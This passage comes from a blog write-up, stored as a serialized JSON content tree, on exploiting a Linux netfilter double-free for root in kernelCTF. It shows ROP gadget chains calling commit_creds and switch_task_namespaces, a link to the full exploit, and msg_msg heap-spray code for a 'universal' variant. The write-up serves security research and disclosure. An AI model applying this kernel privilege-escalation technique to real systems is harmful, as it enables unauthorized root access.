0xffffffff8112c7c0",{"type":26,"tag":217,"props":111968,"children":111969},{"style":7048},[111970],{"type":32,"value":10289},{"type":26,"tag":217,"props":111972,"children":111973},{"style":7033},[111974],{"type":32,"value":111975}," // pop rdi; ret;\n",{"type":26,"tag":217,"props":111977,"children":111978},{"class":7028,"line":7140},[111979,111983,111987,111991,111995,111999,112003,112007],{"type":26,"tag":217,"props":111980,"children":111981},{"style":7054},[111982],{"type":32,"value":111234},{"type":26,"tag":217,"props":111984,"children":111985},{"style":7048},[111986],{"type":32,"value":111747},{"type":26,"tag":217,"props":111988,"children":111989},{"style":7149},[111990],{"type":32,"value":11082},{"type":26,"tag":217,"props":111992,"children":111993},{"style":7048},[111994],{"type":32,"value":10276},{"type":26,"tag":217,"props":111996,"children":111997},{"style":7149},[111998],{"type":32,"value":267},{"type":26,"tag":217,"props":112000,"children":112001},{"style":7048},[112002],{"type":32,"value":111255},{"type":26,"tag":217,"props":112004,"children":112005},{"style":7149},[112006],{"type":32,"value":3540},{"type":26,"tag":217,"props":112008,"children":112009},{"style":7048},[112010],{"type":32,"value":112011}," INIT_CRED;\n",{"type":26,"tag":217,"props":112013,"children":112014},{"class":7028,"line":7165},[112015,112019,112023,112027,112031,112035,112039,112043],{"type":26,"tag":217,"props":112016,"children":112017},{"style":7054},[112018],{"type":32,"value":111234},{"type":26,"tag":217,"props":112020,"children":112021},{"style":7048},[112022],{"type":32,"value":111747},{"type":26,"tag":217,"props":112024,"children":112025},{"style":7149},[112026],{"type":32,"value":11082},{"type":26,"tag":217,"props":112028,"children":112029},{"style":7048},[112030],{"type":32,"value":10276},{"type":26,"tag":217,"props":112032,"children":112033},{"style":7149},[112034],{"type":32,"value":267},{"type":26,"tag":217,"props":112036,"children":112037},{"style":7048},[112038],{"type":32,"value":111255},{"type":26,"tag":217,"props":112040,"children":112041},{"style":7149},[112042],{"type":32,"value":3540},{"type":26,"tag":217,"props":112044,"children":112045},{"style":7048},[112046],{"type":32,"value":112047}," COMMIT_CREDS;\n",{"type":26,"tag":217,"props":112049,"children":112050},{"class":7028,"line":7178},[112051],{"type":26,"tag":217,"props":112052,"children":112053},{"emptyLinePlaceholder":17},[112054],{"type":32,"value":7817},{"type":26,"tag":217,"props":112056,"children":112057},{"class":7028,"line":7389},[112058],{"type":26,"tag":217,"props":112059,"children":112060},{"style":7033},[112061],{"type":32,"value":112062},"    // task = find_task_by_vpid(1);\n",{"type":26,"tag":217,"props":112064,"children":112065},{"class":7028,"line":7406},[112066,112070,112074,112078,112082,112086,112090,112094,112098,112102],{"type":26,"tag":217,"props":112067,"children":112068},{"style":7054},[112069],{"type":32,"value":111234},{"type":26,"tag":217,"props":112071,"children":112072},{"style":7048},[112073],{"type":32,"value":111747},{"type":26,"tag":217,"props":112075,"children":112076},{"style":7149},[112077],{"type":32,"value":11082},{"type":26,"tag":217,"props":112079,"children":112080},{"style":7048},[112081],{"type":32,"value":10276},{"type":26,"tag":217,"props":112083,"children":112084},{"style":7149},[112085],{"type":32,"value":267},{"type":26,"tag":217,"props":112087,"children":112088},{"style":7048},[112089],{"type":32,"value":111255},{"type":26,"tag":217,"props":112091,"children":112092},{"style":7149},[112093],{"type":32,"value":3540},{"type":26,"tag":217,"props":112095,"children":112096},{"style":7130},[112097],{"type":32,"value":111966},{"type":26,"tag":217,"props":112099,"children":112100},{"style":7048},[112101],{"type":32,"value":10289},{"type":26,"tag":217,"props":112103,"children":112104},{"style":7033},[112105],{"type":32,"value":111975},{"type":26,"tag":217,"props":112107,"children":112108},{"class":7028,"line":7439},[112109,112113,112117,112121,112125,112129,112133],{"type":26,"tag":217,"props":112110,"children":112111},{"style":7054},[112112],{"type":32,"value":111234},{"type":26,"tag":217,"props":112114,"children":112115},{"style":7048},[112116],{"type":32,"value":111747},{"type":26,"tag":217,"props":112118,"children":112119},{"style":7149},[112120],{"type":32,"value":11082},{"type":26,"tag":217,"props":112122,"children":112123},{"style":7048},[112124],{"type":32,"value":10276},{"type":26,"tag":217,"props":112126,"children":112127},{"style":7149},[112128],{"type":32,"value":267},{"type":26,"tag":217,"props":112130,"children":112131},{"style":7130},[112132],{"type":32,"value":9742},{"type":26,"tag":217,"props":112134,"children":112135},{"style":7048},[112136],{"type":32,"value":7162},{"type":26,"tag":217,"props":112138,"children":112139},{"class":7028,"line":7487},[112140,112144,112148,112152,112156,112160,112164,112168],{"type":26,"tag":217,"props":112141,"children":112142},{"style":7054},[112143],{"type":32,"value":111234},{"type":26,"tag":217,"props":112145,"children":112146},{"style":7048},[112147],{"type":32,"value":111747},{"type":26,"tag":217,"props":112149,"children":112150},{"style":7149},[112151],{"type":32,"value":11082},{"type":26,"tag":217,"props":112153,"children":112154},{"style":7048},[112155],{"type":32,"value":10276},{"type":26,"tag":217,"props":112157,"children":112158},{"style":7149},[112159],{"type":32,"value":267},{"type":26,"tag":217,"props":112161,"children":112162},{"style":7048},[112163],{"type":32,"value":111255},{"type":26,"tag":217,"props":112165,"children":112166},{"style":7149},[112167],{"type":32,"value":3540},{"type":26,"tag":217,"props":112169,"children":112170},{"style":7048},[112171],{"type":32,"value":112172}," FIND_TASK_BY_VPID;\n",{"type":26,"tag":217,"props":112174,"children":112175},{"class":7028,"line":7524},[112176,112180,112184,112188,112192,112196,112200,112204,112209,112213],{"type":26,"tag":217,"props":112177,"children":112178},{"style":7054},[112179],{"type":32,"value":111234},{"type":26,"tag":217,"props":112181,"children":112182},{"style":7048},[112183],{"type":32,"value":111747},{"type":26,"tag":217,"props":112185,"children":112186},{"style":7149},[112187],{"type":32,"value":11082},{"type":26,"tag":217,"props":112189,"children":112190},{"style":7048},[112191],{"type":32,"value":10276},{"type":26,"tag":217,"props":112193,"children":112194},{"style":7149},[112195],{"type":32,"value":267},{"type":26,"tag":217,"props":112197,"children":112198},{"style":7048},[112199],{"type":32,"value":111255},{"type":26,"tag":217,"props":112201,"children":112202},{"style":7149},[112203],{"type":32,"value":3540},{"type":26,"tag":217,"props":112205,"children":112206},{"style":7130},[112207],{"type":32,"value":112208}," 0xffffffff8102e2a6",{"type":26,"tag":217,"props":112210,"children":112211},{"style":7048},[112212],{"type":32,"value":10289},{"type":26,"tag":217,"props":112214,"children":112215},{"style":7033},[112216],{"type":32,"value":112217}," // pop rsi; ret;\n",{"type":26,"tag":217,"props":112219,"children":112220},{"class":7028,"line":7553},[112221,112225,112229,112233,112237,112241,112246,112250,112255,112259,112264,112268],{"type":26,"tag":217,"props":112222,"children":112223},{"style":7054},[112224],{"type":32,"value":111234},{"type":26,"tag":217,"props":112226,"children":112227},{"style":7048},[112228],{"type":32,"value":111747},{"type":26,"tag":217,"props":112230,"children":112231},{"style":7149},[112232],{"type":32,"value":11082},{"type":26,"tag":217,"props":112234,"children":112235},{"style":7048},[112236],{"type":32,"value":10276},{"type":26,"tag":217,"props":112238,"children":112239},{"style":7149},[112240],{"type":32,"value":267},{"type":26,"tag":217,"props":112242,"children":112243},{"style":7048},[112244],{"type":32,"value":112245}," obj_ptr ",{"type":26,"tag":217,"props":112247,"children":112248},{"style":7149},[112249],{"type":32,"value":3540},{"type":26,"tag":217,"props":112251,"children":112252},{"style":7130},[112253],{"type":32,"value":112254}," 0xe0",{"type":26,"tag":217,"props":112256,"children":112257},{"style":7149},[112258],{"type":32,"value":12618},{"type":26,"tag":217,"props":112260,"children":112261},{"style":7130},[112262],{"type":32,"value":112263}," 0x66",{"type":26,"tag":217,"props":112265,"children":112266},{"style":7048},[112267],{"type":32,"value":10289},{"type":26,"tag":217,"props":112269,"children":112270},{"style":7033},[112271],{"type":32,"value":112272},"            // rax -> rdi and resume rop\n",{"type":26,"tag":217,"props":112274,"children":112275},{"class":7028,"line":7570},[112276,112280,112284,112288,112292,112296,112300,112304,112309,112313],{"type":26,"tag":217,"props":112277,"children":112278},{"style":7054},[112279],{"type":32,"value":111234},{"type":26,"tag":217,"props":112281,"children":112282},{"style":7048},[112283],{"type":32,"value":111747},{"type":26,"tag":217,"props":112285,"children":112286},{"style":7149},[112287],{"type":32,"value":11082},{"type":26,"tag":217,"props":112289,"children":112290},{"style":7048},[112291],{"type":32,"value":10276},{"type":26,"tag":217,"props":112293,"children":112294},{"style":7149},[112295],{"type":32,"value":267},{"type":26,"tag":217,"props":112297,"children":112298},{"style":7048},[112299],{"type":32,"value":111255},{"type":26,"tag":217,"props":112301,"children":112302},{"style":7149},[112303],{"type":32,"value":3540},{"type":26,"tag":217,"props":112305,"children":112306},{"style":7130},[112307],{"type":32,"value":112308}," 0xffffffff81caed31",{"type":26,"tag":217,"props":112310,"children":112311},{"style":7048},[112312],{"type":32,"value":10289},{"type":26,"tag":217,"props":112314,"children":112315},{"style":7033},[112316],{"type":32,"value":112317}," // push rax; jmp qword ptr [rsi + 0x66];\n",{"type":26,"tag":217,"props":112319,"children":112320},{"class":7028,"line":7621},[112321],{"type":26,"tag":217,"props":112322,"children":112323},{"emptyLinePlaceholder":17},[112324],{"type":32,"value":7817},{"type":26,"tag":217,"props":112326,"children":112327},{"class":7028,"line":7672},[112328],{"type":26,"tag":217,"props":112329,"children":112330},{"style":7033},[112331],{"type":32,"value":112332},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":26,"tag":217,"props":112334,"children":112335},{"class":7028,"line":7681},[112336,112340,112344,112348,112352,112356,112360,112364,112368,112372],{"type":26,"tag":217,"props":112337,"children":112338},{"style":7054},[112339],{"type":32,"value":111234},{"type":26,"tag":217,"props":112341,"children":112342},{"style":7048},[112343],{"type":32,"value":111747},{"type":26,"tag":217,"props":112345,"children":112346},{"style":7149},[112347],{"type":32,"value":11082},{"type":26,"tag":217,"props":112349,"children":112350},{"style":7048},[112351],{"type":32,"value":10276},{"type":26,"tag":217,"props":112353,"children":112354},{"style":7149},[112355],{"type":32,"value":267},{"type":26,"tag":217,"props":112357,"children":112358},{"style":7048},[112359],{"type":32,"value":111255},{"type":26,"tag":217,"props":112361,"children":112362},{"style":7149},[112363],{"type":32,"value":3540},{"type":26,"tag":217,"props":112365,"children":112366},{"style":7130},[112367],{"type":32,"value":112208},{"type":26,"tag":217,"props":112369,"children":112370},{"style":7048},[112371],{"type":32,"value":10289},{"type":26,"tag":217,"props":112373,"children":112374},{"style":7033},[112375],{"type":32,"value":112217},{"type":26,"tag":217,"props":112377,"children":112378},{"class":7028,"line":7754},[112379,112383,112387,112391,112395,112399,112403,112407],{"type":26,"tag":217,"props":112380,"children":112381},{"style":7054},[112382],{"type":32,"value":111234},{"type":26,"tag":217,"props":112384,"children":112385},{"style":7048},[112386],{"type":32,"value":111747},{"type":26,"tag":217,"props":112388,"children":112389},{"style":7149},[112390],{"type":32,"value":11082},{"type":26,"tag":217,"props":112392,"children":112393},{"style":7048},[112394],{"type":32,"value":10276},{"type":26,"tag":217,"props":112396,"children":112397},{"style":7149},[112398],{"type":32,"value":267},{"type":26,"tag":217,"props":112400,"children":112401},{"style":7048},[112402],{"type":32,"value":111255},{"type":26,"tag":217,"props":112404,"children":112405},{"style":7149},[112406],{"type":32,"value":3540},{"type":26,"tag":217,"props":112408,"children":112409},{"style":7048},[112410],{"type":32,"value":112411}," INIT_NSPROXY;\n",{"type":26,"tag":217,"props":112413,"children":112414},{"class":7028,"line":7784},[112415,112419,112423,112427,112431,112435,112439,112443],{"type":26,"tag":217,"props":112416,"children":112417},{"style":7054},[112418],{"type":32,"value":111234},{"type":26,"tag":217,"props":112420,"children":112421},{"style":7048},[112422],{"type":32,"value":111747},{"type":26,"tag":217,"props":112424,"children":112425},{"style":7149},[112426],{"type":32,"value":11082},{"type":26,"tag":217,"props":112428,"children":112429},{"style":7048},[112430],{"type":32,"value":10276},{"type":26,"tag":217,"props":112432,"children":112433},{"style":7149},[112434],{"type":32,"value":267},{"type":26,"tag":217,"props":112436,"children":112437},{"style":7048},[112438],{"type":32,"value":111255},{"type":26,"tag":217,"props":112440,"children":112441},{"style":7149},[112442],{"type":32,"value":3540},{"type":26,"tag":217,"props":112444,"children":112445},{"style":7048},[112446],{"type":32,"value":112447}," SWITCH_TASK_NAMESPACES;\n",{"type":26,"tag":217,"props":112449,"children":112450},{"class":7028,"line":7802},[112451],{"type":26,"tag":217,"props":112452,"children":112453},{"style":7048},[112454],{"type":32,"value":59466},{"type":26,"tag":607,"props":112456,"children":112458},{"id":112457},"grabbing-the-kernelctf-flag",[112459],{"type":32,"value":112460},"Grabbing the kernelCTF flag",{"type":26,"tag":39,"props":112462,"children":112463},{},[112464,112468,112470,112477],{"type":26,"tag":6468,"props":112465,"children":112467},{"alt":9464,"src":112466},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":32,"value":112469},"\nYou can find the kernelCTF exploit in our ",{"type":26,"tag":163,"props":112471,"children":112474},{"href":112472,"rel":112473},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[167],[112475],{"type":32,"value":112476},"GitHub",{"type":32,"value":180},{"type":26,"tag":27,"props":112479,"children":112481},{"id":112480},"universal-exploit",[112482],{"type":32,"value":112483},"Universal exploit",{"type":26,"tag":39,"props":112485,"children":112486},{},[112487],{"type":32,"value":112488},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":26,"tag":607,"props":112490,"children":112492},{"id":112491},"pivot-capability-using-msg_msg-mlistnext-pointer",[112493],{"type":32,"value":112494},"Pivot capability using msg_msg->mlist.next pointer",{"type":26,"tag":39,"props":112496,"children":112497},{},[112498,112500,112506,112508,112513,112515,112521],{"type":32,"value":112499},"Using the double-free vulnerability we can overlap a ",{"type":26,"tag":83,"props":112501,"children":112503},{"className":112502},[],[112504],{"type":32,"value":112505},"msg_msg",{"type":32,"value":112507}," object with with ",{"type":26,"tag":83,"props":112509,"children":112511},{"className":112510},[],[112512],{"type":32,"value":110170},{"type":32,"value":112514}," and control the ",{"type":26,"tag":83,"props":112516,"children":112518},{"className":112517},[],[112519],{"type":32,"value":112520},"m_list.next",{"type":32,"value":112522}," pointer.",{"type":26,"tag":207,"props":112524,"children":112526},{"className":33132,"code":112525,"language":33131,"meta":8,"style":8},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[112527],{"type":26,"tag":83,"props":112528,"children":112529},{"__ignoreMap":8},[112530,112538,112554,112575,112588,112606,112630,112646,112654,112661,112668,112676,112708],{"type":26,"tag":217,"props":112531,"children":112532},{"class":7028,"line":7029},[112533],{"type":26,"tag":217,"props":112534,"children":112535},{"style":7033},[112536],{"type":32,"value":112537},"/* one msg_msg structure for each message */\n",{"type":26,"tag":217,"props":112539,"children":112540},{"class":7028,"line":6770},[112541,112545,112550],{"type":26,"tag":217,"props":112542,"children":112543},{"style":7154},[112544],{"type":32,"value":12224},{"type":26,"tag":217,"props":112546,"children":112547},{"style":7119},[112548],{"type":32,"value":112549}," msg_msg",{"type":26,"tag":217,"props":112551,"children":112552},{"style":7048},[112553],{"type":32,"value":8064},{"type":26,"tag":217,"props":112555,"children":112556},{"class":7028,"line":6779},[112557,112561,112566,112571],{"type":26,"tag":217,"props":112558,"children":112559},{"style":7154},[112560],{"type":32,"value":77038},{"type":26,"tag":217,"props":112562,"children":112563},{"style":7119},[112564],{"type":32,"value":112565}," list_head",{"type":26,"tag":217,"props":112567,"children":112568},{"style":7054},[112569],{"type":32,"value":112570}," m_list",{"type":26,"tag":217,"props":112572,"children":112573},{"style":7048},[112574],{"type":32,"value":7162},{"type":26,"tag":217,"props":112576,"children":112577},{"class":7028,"line":7140},[112578,112583],{"type":26,"tag":217,"props":112579,"children":112580},{"style":7154},[112581],{"type":32,"value":112582}," long",{"type":26,"tag":217,"props":112584,"children":112585},{"style":7048},[112586],{"type":32,"value":112587}," m_type;\n",{"type":26,"tag":217,"props":112589,"children":112590},{"class":7028,"line":7165},[112591,112596,112601],{"type":26,"tag":217,"props":112592,"children":112593},{"style":7154},[112594],{"type":32,"value":112595}," size_t",{"type":26,"tag":217,"props":112597,"children":112598},{"style":7048},[112599],{"type":32,"value":112600}," m_ts;",{"type":26,"tag":217,"props":112602,"children":112603},{"style":7033},[112604],{"type":32,"value":112605},"  /* message text size */\n",{"type":26,"tag":217,"props":112607,"children":112608},{"class":7028,"line":7178},[112609,112613,112618,112622,112626],{"type":26,"tag":217,"props":112610,"children":112611},{"style":7154},[112612],{"type":32,"value":77038},{"type":26,"tag":217,"props":112614,"children":112615},{"style":7119},[112616],{"type":32,"value":112617}," msg_msgseg",{"type":26,"tag":217,"props":112619,"children":112620},{"style":7154},[112621],{"type":32,"value":9690},{"type":26,"tag":217,"props":112623,"children":112624},{"style":7054},[112625],{"type":32,"value":28495},{"type":26,"tag":217,"props":112627,"children":112628},{"style":7048},[112629],{"type":32,"value":7162},{"type":26,"tag":217,"props":112631,"children":112632},{"class":7028,"line":7389},[112633,112637,112641],{"type":26,"tag":217,"props":112634,"children":112635},{"style":7154},[112636],{"type":32,"value":8936},{"type":26,"tag":217,"props":112638,"children":112639},{"style":7149},[112640],{"type":32,"value":9690},{"type":26,"tag":217,"props":112642,"children":112643},{"style":7048},[112644],{"type":32,"value":112645},"security;\n",{"type":26,"tag":217,"props":112647,"children":112648},{"class":7028,"line":7406},[112649],{"type":26,"tag":217,"props":112650,"children":112651},{"style":7033},[112652],{"type":32,"value":112653}," /* the actual message follows immediately */\n",{"type":26,"tag":217,"props":112655,"children":112656},{"class":7028,"line":7439},[112657],{"type":26,"tag":217,"props":112658,"children":112659},{"style":7048},[112660],{"type":32,"value":12331},{"type":26,"tag":217,"props":112662,"children":112663},{"class":7028,"line":7487},[112664],{"type":26,"tag":217,"props":112665,"children":112666},{"style":7048},[112667],{"type":32,"value":59466},{"type":26,"tag":217,"props":112669,"children":112670},{"class":7028,"line":7524},[112671],{"type":26,"tag":217,"props":112672,"children":112673},{"style":7048},[112674],{"type":32,"value":112675},"struct list_head {\n",{"type":26,"tag":217,"props":112677,"children":112678},{"class":7028,"line":7553},[112679,112683,112687,112691,112695,112699,112703],{"type":26,"tag":217,"props":112680,"children":112681},{"style":7154},[112682],{"type":32,"value":77038},{"type":26,"tag":217,"props":112684,"children":112685},{"style":7119},[112686],{"type":32,"value":112565},{"type":26,"tag":217,"props":112688,"children":112689},{"style":7154},[112690],{"type":32,"value":9690},{"type":26,"tag":217,"props":112692,"children":112693},{"style":7054},[112694],{"type":32,"value":28495},{"type":26,"tag":217,"props":112696,"children":112697},{"style":7048},[112698],{"type":32,"value":7599},{"type":26,"tag":217,"props":112700,"children":112701},{"style":7149},[112702],{"type":32,"value":10006},{"type":26,"tag":217,"props":112704,"children":112705},{"style":7048},[112706],{"type":32,"value":112707},"prev;\n",{"type":26,"tag":217,"props":112709,"children":112710},{"class":7028,"line":7570},[112711],{"type":26,"tag":217,"props":112712,"children":112713},{"style":7048},[112714],{"type":32,"value":12331},{"type":26,"tag":39,"props":112716,"children":112717},{},[112718,112720,112726,112728,112733],{"type":32,"value":112719},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":26,"tag":83,"props":112721,"children":112723},{"className":112722},[],[112724],{"type":32,"value":112725},"mlist.next",{"type":32,"value":112727}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":26,"tag":83,"props":112729,"children":112731},{"className":112730},[],[112732],{"type":32,"value":112505},{"type":32,"value":112734}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":26,"tag":39,"props":112736,"children":112737},{},[112738,112740,112745,112747],{"type":32,"value":112739},"By incrementing the next pointer of our controllable ",{"type":26,"tag":83,"props":112741,"children":112743},{"className":112742},[],[112744],{"type":32,"value":112505},{"type":32,"value":112746}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":26,"tag":6468,"props":112748,"children":112750},{"alt":9464,"src":112749},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":26,"tag":207,"props":112752,"children":112754},{"className":33132,"code":112753,"language":33131,"meta":8,"style":8},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[112755],{"type":26,"tag":83,"props":112756,"children":112757},{"__ignoreMap":8},[112758,112765,112773,112799,112816,112864,112871,112911,112943,112950,112971,112978,113023,113087,113113,113159,113183,113226,113233,113241,113277,113301,113308,113328,113335],{"type":26,"tag":217,"props":112759,"children":112760},{"class":7028,"line":7029},[112761],{"type":26,"tag":217,"props":112762,"children":112763},{"style":7048},[112764],{"type":32,"value":59466},{"type":26,"tag":217,"props":112766,"children":112767},{"class":7028,"line":6770},[112768],{"type":26,"tag":217,"props":112769,"children":112770},{"style":7048},[112771],{"type":32,"value":112772},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":26,"tag":217,"props":112774,"children":112775},{"class":7028,"line":6779},[112776,112781,112785,112789,112794],{"type":26,"tag":217,"props":112777,"children":112778},{"style":7048},[112779],{"type":32,"value":112780},"    msg_t *msg = calloc(1, ",{"type":26,"tag":217,"props":112782,"children":112783},{"style":7119},[112784],{"type":32,"value":34717},{"type":26,"tag":217,"props":112786,"children":112787},{"style":7048},[112788],{"type":32,"value":1851},{"type":26,"tag":217,"props":112790,"children":112791},{"style":7119},[112792],{"type":32,"value":112793},"msg_t",{"type":26,"tag":217,"props":112795,"children":112796},{"style":7048},[112797],{"type":32,"value":112798},") + 0xe8 - 48);\n",{"type":26,"tag":217,"props":112800,"children":112801},{"class":7028,"line":7140},[112802,112806,112811],{"type":26,"tag":217,"props":112803,"children":112804},{"style":7154},[112805],{"type":32,"value":9667},{"type":26,"tag":217,"props":112807,"children":112808},{"style":7054},[112809],{"type":32,"value":112810}," qid",{"type":26,"tag":217,"props":112812,"children":112813},{"style":7048},[112814],{"type":32,"value":112815},"[SPRAY];\n",{"type":26,"tag":217,"props":112817,"children":112818},{"class":7028,"line":7165},[112819,112823,112827,112831,112835,112839,112843,112847,112851,112856,112860],{"type":26,"tag":217,"props":112820,"children":112821},{"style":7042},[112822],{"type":32,"value":12461},{"type":26,"tag":217,"props":112824,"children":112825},{"style":7048},[112826],{"type":32,"value":7051},{"type":26,"tag":217,"props":112828,"children":112829},{"style":7154},[112830],{"type":32,"value":9619},{"type":26,"tag":217,"props":112832,"children":112833},{"style":7048},[112834],{"type":32,"value":11221},{"type":26,"tag":217,"props":112836,"children":112837},{"style":7149},[112838],{"type":32,"value":267},{"type":26,"tag":217,"props":112840,"children":112841},{"style":7130},[112842],{"type":32,"value":9922},{"type":26,"tag":217,"props":112844,"children":112845},{"style":7048},[112846],{"type":32,"value":11068},{"type":26,"tag":217,"props":112848,"children":112849},{"style":7149},[112850],{"type":32,"value":7289},{"type":26,"tag":217,"props":112852,"children":112853},{"style":7048},[112854],{"type":32,"value":112855}," SPRAY; i",{"type":26,"tag":217,"props":112857,"children":112858},{"style":7149},[112859],{"type":32,"value":11082},{"type":26,"tag":217,"props":112861,"children":112862},{"style":7048},[112863],{"type":32,"value":10025},{"type":26,"tag":217,"props":112865,"children":112866},{"class":7028,"line":7178},[112867],{"type":26,"tag":217,"props":112868,"children":112869},{"style":7048},[112870],{"type":32,"value":37334},{"type":26,"tag":217,"props":112872,"children":112873},{"class":7028,"line":7389},[112874,112879,112883,112887,112892,112897,112902,112906],{"type":26,"tag":217,"props":112875,"children":112876},{"style":7054},[112877],{"type":32,"value":112878},"        qid",{"type":26,"tag":217,"props":112880,"children":112881},{"style":7048},[112882],{"type":32,"value":109668},{"type":26,"tag":217,"props":112884,"children":112885},{"style":7149},[112886],{"type":32,"value":267},{"type":26,"tag":217,"props":112888,"children":112889},{"style":7064},[112890],{"type":32,"value":112891}," msgget",{"type":26,"tag":217,"props":112893,"children":112894},{"style":7048},[112895],{"type":32,"value":112896},"(IPC_PRIVATE, ",{"type":26,"tag":217,"props":112898,"children":112899},{"style":7130},[112900],{"type":32,"value":112901},"0666",{"type":26,"tag":217,"props":112903,"children":112904},{"style":7149},[112905],{"type":32,"value":92019},{"type":26,"tag":217,"props":112907,"children":112908},{"style":7048},[112909],{"type":32,"value":112910}," IPC_CREAT);\n",{"type":26,"tag":217,"props":112912,"children":112913},{"class":7028,"line":7406},[112914,112918,112922,112927,112931,112935,112939],{"type":26,"tag":217,"props":112915,"children":112916},{"style":7042},[112917],{"type":32,"value":12497},{"type":26,"tag":217,"props":112919,"children":112920},{"style":7048},[112921],{"type":32,"value":7051},{"type":26,"tag":217,"props":112923,"children":112924},{"style":7054},[112925],{"type":32,"value":112926},"qid",{"type":26,"tag":217,"props":112928,"children":112929},{"style":7048},[112930],{"type":32,"value":109668},{"type":26,"tag":217,"props":112932,"children":112933},{"style":7149},[112934],{"type":32,"value":7289},{"type":26,"tag":217,"props":112936,"children":112937},{"style":7130},[112938],{"type":32,"value":9922},{"type":26,"tag":217,"props":112940,"children":112941},{"style":7048},[112942],{"type":32,"value":10025},{"type":26,"tag":217,"props":112944,"children":112945},{"class":7028,"line":7439},[112946],{"type":26,"tag":217,"props":112947,"children":112948},{"style":7048},[112949],{"type":32,"value":61312},{"type":26,"tag":217,"props":112951,"children":112952},{"class":7028,"line":7487},[112953,112958,112962,112967],{"type":26,"tag":217,"props":112954,"children":112955},{"style":7064},[112956],{"type":32,"value":112957},"            perror",{"type":26,"tag":217,"props":112959,"children":112960},{"style":7048},[112961],{"type":32,"value":1851},{"type":26,"tag":217,"props":112963,"children":112964},{"style":7338},[112965],{"type":32,"value":112966},"\"[-] msgget\"",{"type":26,"tag":217,"props":112968,"children":112969},{"style":7048},[112970],{"type":32,"value":7669},{"type":26,"tag":217,"props":112972,"children":112973},{"class":7028,"line":7524},[112974],{"type":26,"tag":217,"props":112975,"children":112976},{"style":7048},[112977],{"type":32,"value":8722},{"type":26,"tag":217,"props":112979,"children":112980},{"class":7028,"line":7553},[112981,112986,112990,112994,112998,113002,113006,113010,113015,113019],{"type":26,"tag":217,"props":112982,"children":112983},{"style":7149},[112984],{"type":32,"value":112985},"        *",{"type":26,"tag":217,"props":112987,"children":112988},{"style":7048},[112989],{"type":32,"value":1851},{"type":26,"tag":217,"props":112991,"children":112992},{"style":7154},[112993],{"type":32,"value":16209},{"type":26,"tag":217,"props":112995,"children":112996},{"style":7149},[112997],{"type":32,"value":9690},{"type":26,"tag":217,"props":112999,"children":113000},{"style":7048},[113001],{"type":32,"value":1889},{"type":26,"tag":217,"props":113003,"children":113004},{"style":7054},[113005],{"type":32,"value":7712},{"type":26,"tag":217,"props":113007,"children":113008},{"style":7048},[113009],{"type":32,"value":10115},{"type":26,"tag":217,"props":113011,"children":113012},{"style":7054},[113013],{"type":32,"value":113014},"mtext",{"type":26,"tag":217,"props":113016,"children":113017},{"style":7149},[113018],{"type":32,"value":8993},{"type":26,"tag":217,"props":113020,"children":113021},{"style":7048},[113022],{"type":32,"value":11042},{"type":26,"tag":217,"props":113024,"children":113025},{"class":7028,"line":7570},[113026,113030,113034,113038,113042,113046,113050,113054,113058,113062,113066,113070,113074,113078,113083],{"type":26,"tag":217,"props":113027,"children":113028},{"style":7149},[113029],{"type":32,"value":112985},{"type":26,"tag":217,"props":113031,"children":113032},{"style":7048},[113033],{"type":32,"value":1851},{"type":26,"tag":217,"props":113035,"children":113036},{"style":7154},[113037],{"type":32,"value":15189},{"type":26,"tag":217,"props":113039,"children":113040},{"style":7149},[113041],{"type":32,"value":9690},{"type":26,"tag":217,"props":113043,"children":113044},{"style":7048},[113045],{"type":32,"value":1889},{"type":26,"tag":217,"props":113047,"children":113048},{"style":7149},[113049],{"type":32,"value":9804},{"type":26,"tag":217,"props":113051,"children":113052},{"style":7054},[113053],{"type":32,"value":7712},{"type":26,"tag":217,"props":113055,"children":113056},{"style":7048},[113057],{"type":32,"value":10115},{"type":26,"tag":217,"props":113059,"children":113060},{"style":7054},[113061],{"type":32,"value":113014},{"type":26,"tag":217,"props":113063,"children":113064},{"style":7048},[113065],{"type":32,"value":7127},{"type":26,"tag":217,"props":113067,"children":113068},{"style":7130},[113069],{"type":32,"value":27891},{"type":26,"tag":217,"props":113071,"children":113072},{"style":7048},[113073],{"type":32,"value":10276},{"type":26,"tag":217,"props":113075,"children":113076},{"style":7149},[113077],{"type":32,"value":267},{"type":26,"tag":217,"props":113079,"children":113080},{"style":7130},[113081],{"type":32,"value":113082}," 